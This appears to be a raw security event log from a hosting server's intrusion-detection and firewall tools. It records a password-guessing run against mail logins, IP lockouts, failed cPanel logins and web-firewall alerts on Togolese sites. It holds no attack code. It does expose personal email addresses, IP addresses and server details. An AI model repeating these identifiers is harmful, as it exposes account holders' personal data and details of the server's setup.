name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-22 17:39:40 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:6060: 535 Incorrect authentication data (set_id=jewelry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-22 17:39:47 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:40100: 535 Incorrect authentication data (set_id=mike01)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-22 17:39:37 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:16126: 535 Incorrect authentication data (set_id=ganttproject)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 22 17:40:32 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 22 17:40:35 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-22 17:40:26 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:3452: 535 Incorrect authentication data (set_id=recette2)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 22 17:40:26 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 22 17:40:31 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 22 17:40:38 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-22 17:40:40 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:33506: 535 Incorrect authentication data (set_id=nano)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.65.237.57
country_id: 1643084
description:
[2026-06-22 17:41:22 +0000] info [cpaneld] 103.65.237.57 - 90446907 "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid user name specified


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-22 17:40:26 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:47004: 535 Incorrect authentication data (set_id=tiptop)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-22 17:40:33 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:16048: 535 Incorrect authentication data (set_id=kapsch)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.213.135.113
country_id: 953987
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2026/06/2-1-768x512.webp 768w, http:/togodailynews.tg/wp-content/uploads/2026/06/2-1-300x200.webp 300w, http:/togodailynews.tg/wp-content/uploads/2026/06/2-1-1024x683.webp 1024w, http:/togodailynews.tg/wp-content/uploads/2026/06/2-1-1536x1024.webp 1536w, http:/togodailynews.tg/wp-content/uploads/2026/06/2-1.webp 1600w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 22 17:40:26 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-22 17:40:28 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:27448: 535 Incorrect authentication data (set_id=kamei)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-22 17:40:28 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:46192: 535 Incorrect authentication data (set_id=kari)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-22 17:42:10 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:39132: 535 Incorrect authentication data (set_id=k3)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.65.237.57
country_id: 1643084
description:
[2026-06-22 17:41:43 +0000] info [cpaneld] 103.65.237.57 - iaideveloppementgroupe@gmail.com "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid user name specified


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-22 17:41:59 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:43432: 535 Incorrect authentication data (set_id=ravi)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 22 17:41:27 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-22 17:41:45 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:61872: 535 Incorrect authentication data (set_id=kunden)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-22 17:41:26 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:56542: 535 Incorrect authentication data (set_id=melbourne)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 22 17:41:35 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 22 17:41:27 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-22 17:41:29 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:17620: 535 Incorrect authentication data (set_id=testip)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 22 17:42:01 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 22 17:41:43 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-22 17:41:29 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:9466: 535 Incorrect authentication data (set_id=azalea)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 141.95.93.31
country_id: 3017382
description:
[2026-06-22 17:41:38 +0000] info [cpaneld] 141.95.93.31 - masfloy "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 22 17:41:57 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-22 17:42:03 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:54920: 535 Incorrect authentication data (set_id=daf)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 22 17:42:26 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-22 17:42:27 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:16962: 535 Incorrect authentication data (set_id=reader)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-22 17:42:46 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:47184: 535 Incorrect authentication data (set_id=hacienda)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 22 17:42:49 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 22 17:42:25 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 22 17:42:44 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 22 17:42:47 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-22 17:42:49 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:37646: 535 Incorrect authentication data (set_id=auschwitz)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-22 17:42:28 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:8140: 535 Incorrect authentication data (set_id=joanne)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 22 17:42:31 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-22 17:42:51 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:57444: 535 Incorrect authentication data (set_id=k3)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-22 17:42:33 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:45990: 535 Incorrect authentication data (set_id=diendan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 22 17:43:26 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 22 17:43:34 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 22 17:43:35 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 22 17:43:36 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 22 17:43:37 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-22 17:43:36 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:9876: 535 Incorrect authentication data (set_id=pdd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-22 17:43:37 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:4938: 535 Incorrect authentication data (set_id=quota)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 22 17:43:27 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-22 17:43:28 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:22610: 535 Incorrect authentication data (set_id=bridgette)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-22 17:43:29 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:18830: 535 Incorrect authentication data (set_id=staging.demo)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-22 17:43:38 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:48142: 535 Incorrect authentication data (set_id=maria)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-22 17:43:39 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:13290: 535 Incorrect authentication data (set_id=ic)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-22 17:44:40 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:42078: 535 Incorrect authentication data (set_id=kyk)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 22 17:44:56 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-22 17:44:58 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:38128: 535 Incorrect authentication data (set_id=username)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-22 17:44:33 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:56950: 535 Incorrect authentication data (set_id=wbem)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 22 17:44:31 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 22 17:44:31 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 22 17:44:37 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-22 17:44:39 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:8814: 535 Incorrect authentication data (set_id=javascript)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-22 17:45:23 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:39772: 535 Incorrect authentication data (set_id=doconnor)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-22 17:44:26 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:7532: 535 Incorrect authentication data (set_id=bitcoin)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 22 17:44:39 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-22 17:44:41 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:49196: 535 Incorrect authentication data (set_id=sglass)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.6
country_id: 6252001
description:
205.169.39.6 - - [22/Jun/2026:17:45:07 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10405225&pdata=http%253A%252F%252Fkoko.kpmg.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782150306 HTTP/1.1" 302 0 koko.kpmg.tg "http://koko.kpmg.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.6


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.72.176.129
country_id: 6252001
description:
34.72.176.129 - - [22/Jun/2026:17:45:08 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13134695&pdata=http%253A%252F%252Fkoko.kpmg.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782150307 HTTP/1.1" 302 0 koko.kpmg.tg "http://koko.kpmg.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.72.176.129


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 86.99.73.97
country_id: 290557
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2022/11/Shelter-Afrique-AG.-MDKingsley-Muwowo-1024x945.jpg 1024w, http:/togodailynews.tg/wp-content/uploads/2022/11/Shelter-Afrique-AG.-MDKingsley-Muwowo-300x277.jpg 300w, http:/togodailynews.tg/wp-content/uploads/2022/11/Shelter-Afrique-AG.-MDKingsley-Muwowo-768x708.jpg 768w, http:/togodailynews.tg/wp-content/uploads/2022/11/Shelter-Afrique-AG.-MDKingsley-Muwowo.jpg 1662w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 22 17:44:38 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.31.179.142
country_id: 1210997
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/1745852350 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 22 17:45:36 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-22 17:45:40 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:13910: 535 Incorrect authentication data (set_id=outsourcing)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 22 17:45:42 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-22 17:45:55 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:22054: 535 Incorrect authentication data (set_id=acs1)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 22 17:45:53 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 22 17:45:28 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 22 17:45:38 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 22 17:45:42 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-22 17:45:44 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:13548: 535 Incorrect authentication data (set_id=robert)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-22 17:45:44 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:39614: 535 Incorrect authentication data (set_id=pr)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-22 17:45:30 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:7480: 535 Incorrect authentication data (set_id=oohashi)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-22 17:45:38 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:10686: 535 Incorrect authentication data (set_id=mailtester)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 141.95.93.31
country_id: 3017382
description:
[2026-06-22 17:46:39 +0000] info [cpaneld] 141.95.93.31 - websitecpanel "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 187.229.85.233
country_id: 3996063
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2023/11/WhatsApp-Image-2023-11-26-at-12.59.58.jpeg 838w, http:/togodailynews.tg/wp-content/uploads/2023/11/WhatsApp-Image-2023-11-26-at-12.59.58-233x300.jpeg 233w, http:/togodailynews.tg/wp-content/uploads/2023/11/WhatsApp-Image-2023-11-26-at-12.59.58-795x1024.jpeg 795w, http:/togodailynews.tg/wp-content/uploads/2023/11/WhatsApp-Image-2023-11-26-at-12.59.58-768x990.jpeg 768w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 141.95.93.31
country_id: 3017382
description:
[2026-06-22 17:50:21 +0000] info [cpaneld] 141.95.93.31 - admin "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [22/Jun/2026:17:50:58 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13211493&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782150655 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.91
country_id: 2077456
description:
103.108.92.91 - - [22/Jun/2026:17:51:05 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10274706&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782150659 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.91


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 141.95.93.31
country_id: 3017382
description:
[2026-06-22 17:52:51 +0000] info [cpaneld] 141.95.93.31 - @ "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid user name specified


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.168.0.186
country_id: 2363686
description:
[2026-06-22 17:53:37 +0000] info [webmaild] 196.168.0.186 - kawunyo@wages.tg "POST /cpsess5935231149/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [196.170.45.140] != Current IP Address [196.168.0.186]


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 178.73.70.170
country_id: 102358
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/HTML/BODY/DIV[@class='single-author-posts-area theme-single-post-component']/*[2][self::DIV]/*[2][self::ARTICLE]/*[1][self::DIV]/*[1][self::A]/*[1][self::IMG] HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 160.242.195.10
country_id: 2363686
description:
[2026-06-22 17:56:20 +0000] info [webmaild] 160.242.195.10 - secretariat_daj@caissederetraites.tg "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 123.182.59.205
country_id: 1814991
description:
2026-06-22 17:56:38 dovecot_login authenticator failed for H=(xvjhea) [123.182.59.205]:58082: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.96.126
country_id: 3469034
description:
Jun 22 17:58:39 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.96.126 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 141.95.93.31
country_id: 3017382
description:
[2026-06-22 18:02:40 +0000] info [cpaneld] 141.95.93.31 - arsetg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 31.57.184.20
country_id: 6252001
description:
31.57.184.20 - - [22/Jun/2026:18:05:01 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9792918&pdata=https%253A%252F%252Fdany2.mairie.tg%252Fwp-admin%252Fadmin.php&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782151499 HTTP/2.0" 302 0 dany2.mairie.tg "https://dany2.mairie.tg/wp-admin/admin.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:31.57.184.20


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 141.95.93.31
country_id: 3017382
description:
[2026-06-22 18:05:06 +0000] info [cpaneld] 141.95.93.31 - primuscourtiertg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user primuscourtiertg (has_cpuser_file failed)


plugin: enhanced_dos
rule: enhanced_dos
